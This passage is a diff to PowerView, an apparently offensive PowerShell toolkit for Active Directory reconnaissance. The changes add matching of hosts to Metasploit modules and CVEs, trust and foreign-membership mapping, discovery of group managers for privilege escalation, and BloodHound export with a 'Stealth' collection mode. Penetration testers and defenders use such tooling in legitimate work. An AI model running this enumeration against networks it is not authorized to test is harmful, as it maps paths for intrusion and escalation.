+ $Null = $TableVulnComputers.Columns.Add('MsfModule')
+ $Null = $TableVulnComputers.Columns.Add('CVE')
+
+ # Iterate through each exploit
+ $TableExploits | ForEach-Object {
+
+ $ExploitOS = $_.OperatingSystem
+ $ExploitSP = $_.ServicePack
+ $ExploitMsf = $_.MsfModule
+ $ExploitCVE = $_.CVE
+
+ # Iterate through each ADS computer
+ $TableAdsComputers | ForEach-Object {
+
+ $AdsHostname = $_.Hostname
+ $AdsOS = $_.OperatingSystem
+ $AdsSP = $_.ServicePack
+ $AdsLast = $_.LastLogon
+
+ # Add exploitable systems to vul computers data table
+ if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ) {
+ # Add domain computer to data table
+ $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE)
+ }
+ }
+ }
+
+ # Display results
+ $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object
+ $VulnComputerCount = $VulnComputer.Count
+
+ if ($VulnComputer.Count -gt 0) {
+ # Return vulnerable server list order with some hack date casting
+ Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!"
+ $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending
+ }
+ else {
+ Write-Verbose "[-] No vulnerable systems were found."
}
}
@@ -5898,7 +12313,7 @@ function Invoke-EnumerateLocalAdmin {
}
# query for the primary domain controller so we can extract the domain SID for filtering
- $DomainSID = Get-DomainSID -Domain $Domain
+ $DomainSID = Get-DomainSID -Domain $Domain -DomainController $DomainController
}
# script block that enumerates a server
@@ -6023,6 +12438,11 @@ function Get-NetDomainTrust {
Domain controller to reflect LDAP queries through.
+ .PARAMETER ADSpath
+
+ The LDAP source to search through, e.g. "LDAP://DC=testlab,DC=local".
+ Useful for global catalog queries ;)
+
.PARAMETER API
Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts.
@@ -6071,12 +12491,15 @@ function Get-NetDomainTrust {
[CmdletBinding()]
param(
- [Parameter(Position=0,ValueFromPipeline=$True)]
+ [Parameter(Position=0, ValueFromPipeline=$True)]
[String]
$Domain,
[String]
- $DomainController,
+ $DomainController,
+
+ [String]
+ $ADSpath,
[Switch]
$API,
@@ -6094,14 +12517,19 @@ function Get-NetDomainTrust {
process {
- if((-not $Domain) -or ((-not $API) -and (-not $DomainController))) {
- $Domain = (Get-NetDomain -Credential $Credential).Name
+ if(-not $Domain) {
+ # if not domain is specified grab the current domain
+ $SourceDomain = (Get-NetDomain -Credential $Credential).Name
+ }
+ else {
+ $SourceDomain = $Domain
}
- if($LDAP) {
+ if($LDAP -or $ADSPath) {
- $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize
- $SourceSID = Get-DomainSID -Domain $Domain -DomainController $DomainController
+ $TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath
+
+ $SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController
if($TrustSearcher) {
@@ -6135,7 +12563,7 @@ function Get-NetDomainTrust {
}
$ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
$TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
- $DomainTrust | Add-Member Noteproperty 'SourceName' $Domain
+ $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
$DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID
$DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
$DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID
@@ -6150,7 +12578,7 @@ function Get-NetDomainTrust {
}
elseif($API) {
if(-not $DomainController) {
- $DomainController = Get-NetDomainController -Credential $Credential -Domain $Domain | Select-Object -First 1 | Select-Object -ExpandProperty Name
+ $DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name
}
if($DomainController) {
@@ -6167,121 +12595,445 @@ function Get-NetDomainTrust {
# Locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
- Write-Debug "DsEnumerateDomainTrusts result for $DomainController : $Result"
-
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
- # Work out how mutch to increment the pointer by finding out the size of the structure
- $Increment = $DS_DOMAIN_TRUSTS::GetSize()
+ # Work out how mutch to increment the pointer by finding out the size of the structure
+ $Increment = $DS_DOMAIN_TRUSTS::GetSize()
+
+ # parse all the result structures
+ for ($i = 0; ($i -lt $DomainCount); $i++) {
+ # create a new int ptr at the given offset and cast the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
+
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
+
+ $SidString = ""
+ $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ if($Result -eq 0) {
+ Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
+ }
+ else {
+ $DomainTrust = New-Object PSObject
+ $DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain
+ $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController
+ $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName
+ $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName
+ $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
+ $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
+ $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
+ $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
+ $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString
+ $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid
+ $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust')
+ $DomainTrust
+ }
+ }
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ }
+ else {
+ Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
+ }
+ }
+ else {
+ Write-Error "Could not retrieve domain controller for $Domain"
+ }
+ }
+ else {
+ # if we're using direct domain connections through .NET
+ $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential
+ if($FoundDomain) {
+ $FoundDomain.GetAllTrustRelationships()
+ }
+ }
+ }
+}
+
+
+function Get-NetForestTrust {
+<#
+ .SYNOPSIS
+
+ Return all trusts for the current forest.
+
+ .PARAMETER Forest
+
+ Return trusts for the specified forest.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetForestTrust
+
+ Return current forest trusts.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetForestTrust -Forest "test"
+
+ Return trusts for the "test" forest.
+#>
+
+ [CmdletBinding()]
+ param(
+ [Parameter(Position=0,ValueFromPipeline=$True)]
+ [String]
+ $Forest,
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ process {
+ $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential
+
+ if($FoundForest) {
+ $FoundForest.GetAllTrustRelationships()
+ }
+ }
+}
+
+
+function Find-ForeignUser {
+<#
+ .SYNOPSIS
+
+ Enumerates users who are in groups outside of their
+ principal domain. The -Recurse option will try to map all
+ transitive domain trust relationships and enumerate all
+ users who are in groups outside of their principal domain.
+
+ .PARAMETER UserName
+
+ Username to filter results for, wildcards accepted.
+
+ .PARAMETER Domain
+
+ Domain to query for users, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER LDAP
+
+ Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
+ More likely to get around network segmentation, but not as accurate.
+
+ .PARAMETER Recurse
+
+ Switch. Enumerate all user trust groups from all reachable domains recursively.
+
+ .PARAMETER PageSize
+
+ The PageSize to set for the LDAP searcher object.
+
+ .LINK
+
+ http://blog.harmj0y.net/
+#>
+
+ [CmdletBinding()]
+ param(
+ [String]
+ $UserName,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [Switch]
+ $LDAP,
+
+ [Switch]
+ $Recurse,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200
+ )
+
+ function Get-ForeignUser {
+ # helper used to enumerate users who are in groups outside of their principal domain
+ param(
+ [String]
+ $UserName,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200
+ )
+
+ if ($Domain) {
+ # get the domain name into distinguished form
+ $DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC='
+ }
+ else {
+ $DistinguishedDomainName = [String] ([adsi]'').distinguishedname
+ $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.'
+ }
+
+ Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize -Filter '(memberof=*)' | ForEach-Object {
+ ForEach ($Membership in $_.memberof) {
+ $Index = $Membership.IndexOf("DC=")
+ if($Index) {
+
+ $GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.'
+
+ if ($GroupDomain.CompareTo($Domain)) {
+ # if the group domain doesn't match the user domain, output
+ $GroupName = $Membership.split(",")[0].split("=")[1]
+ $ForeignUser = New-Object PSObject
+ $ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain
+ $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
+ $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
+ $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
+ $ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership
+ $ForeignUser
+ }
+ }
+ }
+ }
+ }
+
+ if ($Recurse) {
+ # get all rechable domains in the trust mesh and uniquify them
+ if($LDAP -or $DomainController) {
+ $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
+ }
+ else {
+ $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
+ }
+
+ ForEach($DomainTrust in $DomainTrusts) {
+ # get the trust groups for each domain in the trust mesh
+ Write-Verbose "Enumerating trust groups in domain $DomainTrust"
+ Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize
+ }
+ }
+ else {
+ Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize
+ }
+}
+
+
+function Find-ForeignGroup {
+<#
+ .SYNOPSIS
+
+ Enumerates all the members of a given domain's groups
+ and finds users that are not in the queried domain.
+ The -Recurse flag will perform this enumeration for all
+ eachable domain trusts.
+
+ .PARAMETER GroupName
+
+ Groupname to filter results for, wildcards accepted.
+
+ .PARAMETER Domain
+
+ Domain to query for groups, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER LDAP
+
+ Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
+ More likely to get around network segmentation, but not as accurate.
+
+ .PARAMETER Recurse
+
+ Switch. Enumerate all group trust users from all reachable domains recursively.
+
+ .PARAMETER PageSize
+
+ The PageSize to set for the LDAP searcher object.
+
+ .LINK
+
+ http://blog.harmj0y.net/
+#>
+
+ [CmdletBinding()]
+ param(
+ [String]
+ $GroupName = '*',
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [Switch]
+ $LDAP,
+
+ [Switch]
+ $Recurse,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200
+ )
+
+ function Get-ForeignGroup {
+ param(
+ [String]
+ $GroupName = '*',
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200
+ )
- # parse all the result structures
- for ($i = 0; ($i -lt $DomainCount); $i++) {
- # create a new int ptr at the given offset and cast
- # the pointer as our result structure
- $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
- $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
+ if(-not $Domain) {
+ $Domain = (Get-NetDomain).Name
+ }
- $Offset = $NewIntPtr.ToInt64()
- $Offset += $Increment
+ $DomainDN = "DC=$($Domain.Replace('.', ',DC='))"
+ Write-Verbose "DomainDN: $DomainDN"
- $SidString = ""
- $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString)
+ # standard group names to ignore
+ $ExcludeGroups = @("Users", "Domain Users", "Guests")
- if($Result -eq 0) {
- # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx
- $Err = $Kernel32::GetLastError()
- Write-Error "ConvertSidToStringSid LastError: $Err"
- }
- else {
- $DomainTrust = New-Object PSObject
- $DomainTrust | Add-Member Noteproperty 'SourceDomain' $Domain
- $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController
- $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName
- $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName
- $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
- $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
- $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
- $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
- $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString
- $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid
- $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust')
- $DomainTrust
- }
- }
- # free up the result buffer
- $Null = $Netapi32::NetApiBufferFree($PtrInfo)
- }
- else
- {
- switch ($Result) {
- (50) { Write-Debug 'The request is not supported.' }
- (1004) { Write-Debug 'Invalid flags.' }
- (1311) { Write-Debug 'There are currently no logon servers available to service the logon request.' }
- (1786) { Write-Debug 'The workstation does not have a trust secret.' }
- (1787) { Write-Debug 'The security database on the server does not have a computer account for this workstation trust relationship.' }
+ # get all the groupnames for the given domain
+ Get-NetGroup -GroupName $GroupName -Filter '(member=*)' -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object {
+ # exclude common large groups
+ -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object {
+
+ $GroupName = $_.samAccountName
+
+ $_.member | ForEach-Object {
+ # filter for foreign SIDs in the cn field for users in another domain,
+ # or if the DN doesn't end with the proper DN for the queried domain
+ if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf("DC="))))) {
+
+ $UserDomain = $_.subString($_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
+ $UserName = $_.split(",")[0].split("=")[1]
+
+ $ForeignGroupUser = New-Object PSObject
+ $ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain
+ $ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName
+ $ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain
+ $ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName
+ $ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_
+ $ForeignGroupUser
}
}
- }
- else {
- Write-Error "Could not retrieve domain controller for $Domain"
- }
+ }
+ }
+
+ if ($Recurse) {
+ # get all rechable domains in the trust mesh and uniquify them
+ if($LDAP -or $DomainController) {
+ $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
}
else {
- # if we're using direct domain connections through .NET
- $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential
- if($FoundDomain) {
- $FoundDomain.GetAllTrustRelationships()
- }
+ $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
}
+
+ ForEach($DomainTrust in $DomainTrusts) {
+ # get the trust groups for each domain in the trust mesh
+ Write-Verbose "Enumerating trust groups in domain $DomainTrust"
+ Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize
+ }
+ }
+ else {
+ Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize
}
}
-function Get-NetForestTrust {
+function Find-ManagedSecurityGroups {
<#
.SYNOPSIS
- Return all trusts for the current forest.
+ This function retrieves all security groups in the domain and identifies ones that
+ have a manager set. It also determines whether the manager has the ability to add
+ or remove members from the group.
- .PARAMETER Forest
+ Author: Stuart Morgan (@ukstufus)
+ License: BSD 3-Clause
- Return trusts for the specified forest.
+ .EXAMPLE
- .PARAMETER Credential
+ PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+ Store a list of all security groups with managers in group-managers.csv
- .EXAMPLE
+ .DESCRIPTION
- PS C:\> Get-NetForestTrust
+ Authority to manipulate the group membership of AD security groups and distribution groups
+ can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically
+ used to delegate management authority to distribution groups, but Windows supports security groups
+ being managed in the same way.
- Return current forest trusts.
+ This function searches for AD groups which have a group manager set, and determines whether that
+ user can manipulate group membership. This could be a useful method of horizontal privilege
+ escalation, especially if the manager can manipulate the membership of a privileged group.
- .EXAMPLE
+ .LINK
- PS C:\> Get-NetForestTrust -Forest "test"
+ https://github.com/PowerShellEmpire/Empire/pull/119
- Return trusts for the "test" forest.
#>
- [CmdletBinding()]
- param(
- [Parameter(Position=0,ValueFromPipeline=$True)]
- [String]
- $Forest,
+ # Go through the list of security groups on the domain and identify those who have a manager
+ Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object {
- [Management.Automation.PSCredential]
- $Credential
- )
+ # Retrieve the object that the managedBy DN refers to
+ $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname
- process {
- $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential
+ # Create a results object to store our findings
+ $results_object = New-Object -TypeName PSObject -Property @{
+ 'GroupCN' = $_.cn
+ 'GroupDN' = $_.distinguishedname
+ 'ManagerCN' = $group_manager.cn
+ 'ManagerDN' = $group_manager.distinguishedName
+ 'ManagerSAN' = $group_manager.samaccountname
+ 'ManagerType' = ''
+ 'CanManagerWrite' = $FALSE
+ }
- if($FoundForest) {
- $FoundForest.GetAllTrustRelationships()
+ # Determine whether the manager is a user or a group
+ if ($group_manager.samaccounttype -eq 0x10000000) {
+ $results_object.ManagerType = 'Group'
+ } elseif ($group_manager.samaccounttype -eq 0x30000000) {
+ $results_object.ManagerType = 'User'
+ }
+
+ # Find the ACLs that relate to the ability to write to the group
+ $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers
+
+ # Double-check that the manager
+ if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) {
+ $results_object.CanManagerWrite = $TRUE
}
+ $results_object
}
}
@@ -6368,7 +13120,7 @@ function Invoke-MapDomainTrust {
$Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential
}
- if($Trusts -isnot [system.array]) {
+ if($Trusts -isnot [System.Array]) {
$Trusts = @($Trusts)
}
@@ -6407,7 +13159,6 @@ function Invoke-MapDomainTrust {
}
-
########################################################
#
# BloodHound specific fuctions.
@@ -6520,34 +13271,103 @@ function Export-BloodHoundData {
if($Object.PSObject.TypeNames -contains 'PowerView.UserSession') {
if($Object.SessionFromName) {
- $Query = "MERGE (user:User { name: UPPER(`"$($Object.UserName)`") }) MERGE (computer:Computer { name: UPPER(`"$($Object.SessionFromName)`") }) MERGE (computer)-[:HasSession]->(user)"
+ try {
+ $SessionFromDomain = $Object.SessionFromName.SubString($Object.SessionFromName.IndexOf('.')+1)
+
+ # TODO: later change this format to user@domain.com
+ # i.e. $LoggedOnUser = "$($Object.UserName)@$SessionFromDomain"
+ $LoggedOnUser = "$($Object.UserName).$SessionFromDomain"
+
+ $Query = "MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER(`"$($Object.SessionFromName)`") }) MERGE (computer)-[:HasSession]->(user)"
+ }
+ catch {
+ Write-Warning "Error extracting domain from $($Object.SessionFromName)"
+ }
}
elseif($Object.SessionFrom) {
$Query = "MERGE (user:User { name: UPPER(`"$($Object.UserName)`") }) MERGE (computer:Computer { name: UPPER(`"$($Object.SessionFrom)`") }) MERGE (computer)-[:HasSession]->(user)"
}
else {
# assume Get-NetLoggedOn result
- $Query = "MERGE (user:User { name: UPPER('$($Object.UserName)') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (computer)-[:HasSession]->(user)"
+ try {
+ $MemberSimpleName = "$($Object.UserDomain)\$($Object.UserName)" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical'
+
+ if($MemberSimpleName) {
+ $MemberDomain = $MemberSimpleName.Split('/')[0]
+ # TODO: later change this format to account@domain.com
+ # i.e. $AccountName = "$($Object.UserName).$MemberDomain"
+ $AccountName = "$($Object.UserName).$MemberDomain"
+ }
+ else {
+ $AccountName = $Object.ObjectName
+ }
+
+ $Query = "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (computer)-[:HasSession]->(user)"
+ }
+ catch {
+ Write-Verbose "Error converting $($Object.UserDomain)\$($Object.UserName)"
+ }
}
}
elseif($Object.PSObject.TypeNames -contains 'PowerView.GroupMember') {
+ # TODO: later change this format to member@domain.com
+ # i.e. $AccountName = "$($Object.MemberName)@$($Object.MemberDomain)"
+ $AccountName = "$($Object.MemberName).$($Object.MemberDomain)"
+
+ if ($Object.MemberName -Match "\\") {
+ # if the membername itself contains a backslash, get the trailing section
+ # TODO: later preserve this once BloodHound can properly display these characters
+ $AccountName = $($Object.Membername).split('\')[1] + '.' + $($Object.MemberDomain)
+ }
+
+ # TODO: later change this format to group@domain.com
+ # i.e. $GroupName = "$($Object.GroupName)@$($Object.GroupDomain)"
+ $GroupName = "$($Object.GroupName).$($Object.GroupDomain)"
+
if($Object.IsGroup) {
- $Query = "MERGE (group1:Group { name: UPPER('$($Object.MemberName)') }) MERGE (group2:Group { name: UPPER('$($Object.GroupName)') }) MERGE (group1)-[:MemberOf]->(group2)"
+ $Query = "MERGE (group1:Group { name: UPPER('$AccountName') }) MERGE (group2:Group { name: UPPER('$GroupName') }) MERGE (group1)-[:MemberOf]->(group2)"
}
else {
# check if -FullData objects are returned, and if so check if the group member is a computer object
if($Object.ObjectClass -and ($Object.ObjectClass -contains 'computer')) {
- $Query = "MERGE (computer:Computer { name: UPPER('$($Object.dnshostname)') }) MERGE (group:Group { name: UPPER('$($Object.GroupName)') }) MERGE (computer)-[:MemberOf]->(group)"
+ $Query = "MERGE (computer:Computer { name: UPPER('$($Object.dnshostname)') }) MERGE (group:Group { name: UPPER('$GroupName') }) MERGE (computer)-[:MemberOf]->(group)"
}
else {
# otherwise there's no way to determine if this is a computer object or not
- $Query = "MERGE (user:User { name: UPPER('$($Object.MemberName)') }) MERGE (group:Group { name: UPPER('$($Object.GroupName)') }) MERGE (user)-[:MemberOf]->(group)"
+ $Query = "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (group:Group { name: UPPER('$GroupName') }) MERGE (user)-[:MemberOf]->(group)"
}
}
}
- elseif($Object.PSObject.TypeNames -contains 'PowerView.LocalUser') {
+ elseif(($Object.PSObject.TypeNames -contains 'PowerView.LocalUserAPI') -or ($Object.PSObject.TypeNames -contains 'PowerView.LocalUser')) {
$AccountName = $($Object.AccountName.replace('/', '\')).split('\')[-1]
+ $MemberSimpleName = Convert-SidToName -SID $Object.SID | Convert-ADName -InputType 'NT4' -OutputType 'Canonical'
+
+ if($MemberSimpleName) {
+ $MemberDomain = $MemberSimpleName.Split('/')[0]
+ }
+ else {
+ $MemberDomain = $Null
+ }
+
+ # TODO: later change this format to account@domain.com
+ # i.e. $AccountName = "$AccountName@$MemberDomain"
+ $AccountName = "$AccountName.$MemberDomain"
+
+ if($Object.IsGroup) {
+ $Query = "MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (group)-[:AdminTo]->(computer)"
+ }
+ else {
+ $Query = "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (user)-[:AdminTo]->(computer)"
+ }
+ }
+ elseif($Object.PSObject.TypeNames -contains 'PowerView.LocalUserSpecified') {
+ # manually specified localgroup membership where resolution happens by the callee
+
+ # TODO: later change this format to account@domain.com
+ # i.e. $AccountName = "$AccountName@$MemberDomain"
+ $AccountName = "$($Object.MemberName).$($Object.MemberDomain)"
+
if($Object.IsGroup) {
$Query = "MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (group)-[:AdminTo]->(computer)"
}
@@ -6555,6 +13375,28 @@ function Export-BloodHoundData {
$Query = "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$($Object.ComputerName)') }) MERGE (user)-[:AdminTo]->(computer)"
}
}
+ elseif($Object.PSObject.TypeNames -contains 'PowerView.GPOLocalGroup') {
+ $MemberSimpleName = Convert-SidToName -SID $Object.ObjectSID | Convert-ADName -InputType 'NT4' -OutputType 'Canonical'
+
+ if($MemberSimpleName) {
+ $MemberDomain = $MemberSimpleName.Split('/')[0]
+ # TODO: later change this format to account@domain.com
+ # i.e. $AccountName = "$($Object.ObjectName)@$MemberDomain"
+ $AccountName = "$($Object.ObjectName).$MemberDomain"
+ }
+ else {
+ $AccountName = $Object.ObjectName
+ }
+
+ ForEach($Computer in $Object.ComputerName) {
+ if($Object.IsGroup) {
+ $Query = "MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$Computer') }) MERGE (group)-[:AdminTo]->(computer)"
+ }
+ else {
+ $Query = "MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$Computer') }) MERGE (user)-[:AdminTo]->(computer)"
+ }
+ }
+ }
else {
Write-Verbose "No matching type name"
}
@@ -6625,6 +13467,12 @@ function Get-BloodHoundData {
Domain controller to reflect LDAP queries through.
+ .PARAMETER CollectionMethod
+
+ The method to collect data. 'Group', 'LocalGroup', 'GPOLocalGroup', 'Sesssion', 'LoggedOn', 'Stealth', or 'Default'.
+ 'Stealth' uses 'Group' collection, stealth user hunting ('Session' on certain servers), and 'GPOLocalGroup' enumeration.
+ 'Default' uses 'Group' collection, regular user hunting with 'Session'/'LoggedOn', and 'LocalGroup' enumeration.
+
.PARAMETER SearchForest
Switch. Search all domains in the forest for target users instead of just
@@ -6673,6 +13521,10 @@ function Get-BloodHoundData {
[String]
$DomainController,
+ [String]
+ [ValidateSet('Group', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Stealth', 'Default')]
+ $CollectionMethod = 'Default',
+
[Switch]
$SearchForest,
@@ -6681,96 +13533,185 @@ function Get-BloodHoundData {
$Threads,
[Int]
- $Throttle = 100
+ $Throttle = 1000
)
begin {
-
- Get-NetGroup -Domain $Domain -DomainController $DomainController | Get-NetGroupMember -Domain $Domain -DomainController $DomainController -FullData | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle
-
- if(!$ComputerName) {
- [Array]$ComputerName = @()
- if($Domain) {
- $TargetDomains = @($Domain)
- }
- elseif($SearchForest) {
- # get ALL the domains in the forest to search
- $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
+ Switch ($CollectionMethod) {
+ 'Group' { $UseGroup = $True; $SkipComputerEnumeration = $True }
+ 'LocalGroup' { $UseLocalGroup = $True }
+ 'GPOLocalGroup' { $UseGPOGroup = $True; $SkipComputerEnumeration = $True }
+ 'Session' { $UseSession = $True }
+ 'LoggedOn' { $UseLoggedOn = $True }
+ 'Stealth' {
+ $UseGroup = $True
+ $UseGPOGroup = $True
+ $UseSession = $True
}
- else {
- # use the local domain
- $TargetDomains = @( (Get-NetDomain).name )
+ 'Default' {
+ $UseGroup = $True
+ $UseLocalGroup = $True
+ $UseLoggedOn = $True
}
+ }
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for hosts"
- $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController
+ if($UseGroup) {
+ Get-NetGroup -Domain $Domain -DomainController $DomainController | Get-NetGroupMember -Domain $Domain -DomainController $DomainController -FullData | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle
+ }
+
+ if (-not $SkipComputerEnumeration) {
+ if(-not $ComputerName) {
+ [Array]$TargetComputers = @()
+
+ if($Domain) {
+ $TargetDomains = @($Domain)
+ }
+ elseif($SearchForest) {
+ # get ALL the domains in the forest to search
+ $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
+ }
